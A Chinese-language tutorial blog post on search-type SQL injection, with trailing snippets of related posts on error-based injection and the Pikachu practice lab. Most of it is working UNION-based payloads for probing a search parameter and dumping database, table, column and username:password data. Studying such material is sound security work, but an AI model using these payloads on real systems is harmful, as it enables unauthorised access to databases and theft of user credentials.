SQL注入 搜尋型注入

2021-10-06 16:07:19 字數 1399 閱讀 3995

語句如下:select*from database.table where users like 『%要查詢的關鍵字%』。這裡「%」匹配任何字元,「like」的意思就是像。比如我們在搜尋框輸入關鍵字「李」,那麼sql語句就變成了select * from database.table where users like 『%李%』,意思就是查詢users列裡的帶有關鍵字「李」的資料。

如果我們在輸入關鍵字的時候不是輸入的關鍵字「李」,而是精心構造的sql語句,並且對於輸入的關鍵字也沒有過濾,那麼注入就形成了。

例如我們在搜尋框輸入 李%『and』1』=『1』 and%』=』

select * from table where users like』%李%『and』1』=『1』and』%』=』%』

判斷是否有注入漏洞

url 位址中輸入 www.***.com/abc.php?users= 1『 報錯,說明很有可能存在注入漏洞

url 位址中輸入 www.***.com/abc.php?users= 1% 報錯,說明特別可能存在注入漏洞

url 位址中輸入 www.***.com/abc.php?users= 1% 『and 1=1 and 『%』=』 正確

url 位址中輸入 www.***.com/abc.php?users= 1% 『and 1=2 and 『%』=』 錯誤

根據上面兩條語句判斷是否存在搜尋型注入。

以下幾種語句都可以

『and 1=1 and 『%』=』

%』 and 1=1–』

%』 and 1=1 and 『%』=』

查詢語句

判斷字段數:

%』 order by 1 and 『%』=『

判斷字段顯示位置:

%』 union select 1,2,3,4,5 and 『%』=『

爆庫名:

%』 union select 1,2,(select database()),4,5 and 『%』=『

爆表名:

%』 union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=『database』),4,5 and 『%』=『

爆資料:

%』 union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=『database』 and table_name=『table』),4,5 and 『%』=『

爆欄位:

%』 union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and 『%』=『

SQL注入之報錯型注入

一般是在頁面沒有顯示位 但用echo mysql error 輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group concat 只能用limit依次猜解 count rand group by三者缺一不可 報錯注入用乙個公式,只要套用公式即可,公式如下 id 2 and...

SQL注入 字元型注入(GET)

實驗準備 皮卡丘靶場 sql injection 數值型注入 get 實驗步驟 當輸入乙個資料庫裡存在的使用者名稱時候,會出現相關郵箱和id 當輸入乙個不存在的字串時,沒有任何資訊 檢視其url,發現請求實在url中提交的,是乙個get請求 猜想資料庫查詢語句 select id,email fro...

Pikachu搜尋型注入

pikachu搜尋型注入 一樣先看一下正確的顯示 輸入ko 會自動搜尋包含 ko的字段顯示出來 因為會自動匹配到username,所以可以聯想到這段語句使用了mysql的模糊查詢。條件大致為 where username like ko 一樣嘗試閉合然後再注釋看是否能正常返回 回顯正常,接下來應該就...